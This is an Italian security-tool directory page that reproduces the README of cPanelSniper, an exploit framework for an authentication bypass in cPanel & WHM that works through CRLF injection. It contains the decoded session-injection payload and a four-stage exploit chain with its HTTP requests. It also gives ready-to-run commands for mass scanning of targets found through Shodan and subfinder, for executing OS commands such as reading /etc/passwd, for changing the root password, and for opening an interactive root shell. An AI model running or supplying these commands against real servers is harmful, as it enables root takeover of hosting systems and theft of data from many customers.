Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ynsmroztas/cpanelsniper
Autenticazione e AutorizzazioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingCommand and ControlRed TeamingSviluppo Payload
GitHubynsmroztas/cpanelsniper

cPanelSniper

CVE-2026-41940 — Bypass dell'autenticazione di cPanel & WHM tramite iniezione CRLF nel file di sessione

Vedi Repository
506139295 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — Bypass dell'autenticazione cPanel & WHM tramite iniezione CRLF nel file di sessione
Catena di exploit in 4 fasi · Shell WHM interattiva · Scanner di massa · Pronto per pipeline · Solo stdlib


Panoramica

cPanelSniper è un framework di sfruttamento mirato per CVE-2026-41940, una vulnerabilità critica di bypass dell'autenticazione che colpisce cPanel & WHM. La vulnerabilità consente a un attaccante remoto non autenticato di ottenere accesso WHM a livello root iniettando sequenze CRLF nel file di sessione tramite l'header HTTP Authorization — senza alcuna credenziale valida.

  • Punteggio CVSS: 10.0 (Critico)
  • Sfruttamento in natura: Confermato (aprile 2026)
  • Installazioni colpite: ~70 milioni di domini che eseguono cPanel & WHM
  • Nessuna dipendenza: Solo stdlib Python puro — niente pip, niente requests, niente pacchetti esterni

Solo per test di penetrazione autorizzati e programmi di bug bounty.


Come Funziona

La causa principale risiede in Session.pm: la funzione saveSession() chiama filter_sessiondata() dopo aver scritto il file di sessione su disco. Ciò significa che i caratteri CRLF incorporati nel valore dell'header Authorization: Basic vengono scritti letteralmente nel file di sessione, iniettando campi controllati dall'attaccante prima che avvenga la sanificazione.

Flusso normale:
  POST /login/ → filter_sessiondata() → scrivi sessione → controllo auth

Flusso vulnerabile:
  POST /login/ → scrivi sessione (payload CRLF iniettato) → filter_sessiondata() → il controllo auth legge il file avvelenato

Il Payload CRLF

Il valore Authorization: Basic decodifica in:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Questi campi vengono scritti direttamente nel file di sessione su disco. Quando vengono riletti, cPanel tratta la sessione come una sessione root completamente autenticata.

Catena di Exploit in 4 Fasi

┌─────────────────────────────────────────────────────────────┐
│  Fase 0 — Scoperta del nome host canonico                   │
│  GET /openid_connect/cpanelid → 307 → nome host reale       │
├─────────────────────────────────────────────────────────────┤
│  Fase 1 — Creazione sessione preauth                        │
│  POST /login/?login_only=1  (credenziali errate)            │
│  ← 401 + cookie whostmgrsession                             │
├─────────────────────────────────────────────────────────────┤
│  Fase 2 — Iniezione CRLF                                    │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd scrive i campi CRLF nel file di sessione            │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Fase 3 — Propagazione (gadget do_token_denied)             │
│  GET /scripts2/listaccts                                    │
│  Attiva lo svuotamento raw→cache — i campi iniettati diventano attivi │
│  ← 401 Token negato (previsto)                              │
├─────────────────────────────────────────────────────────────┤
│  Fase 4 — Verifica accesso root WHM                         │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = COMPROMESSO    │
└─────────────────────────────────────────────────────────────┘

Versioni Colpite

RamoVulnerabileCorretta
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5

Installazione

git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help

Nessuna installazione pip richiesta. Solo stdlib Python 3.8+ puro.


Utilizzo

Scansione di Base

# Singolo target — solo scansione
python3 cPanelSniper.py -u https://target.com:2087

# Singolo target — shell interattiva dopo il bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Scansione di massa da file
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Scansione forzata (salta il rilevamento cPanel)
python3 cPanelSniper.py -u https://target.com:2087 --force

Azioni Post-Exploit

# Elenca tutti gli account cPanel sul server
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Esegui comando OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Ottieni informazioni sul server (hostname, carico, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Ottieni versione cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Cambia password root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Shell WHM interattiva
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipeline

# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Da lista di scope
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 | \
  python3 cPanelSniper.py -t 30 -o results.json

# Risultati Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | \
  python3 cPanelSniper.py -t 30 -o shodan_results.json

# Pipe da stdin
echo "https://target.com:2087" | python3 cPanelSniper.py

# Fonti multiple combinate
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 | \
  python3 cPanelSniper.py -t 20 --action list

Shell WHM Interattiva

Dopo un bypass riuscito, il flag --action shell apre un prompt interattivo:

════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Versione: CVE-2026-41940 | Auth: bypass CRLF
  Digita 'help' per i comandi, 'exit' per uscire
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [Account cPanel]  target.com:2087 (47 utenti)
    user01               dominio: example.com    email: [email protected]
    user02               dominio: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
Scarica lo strumento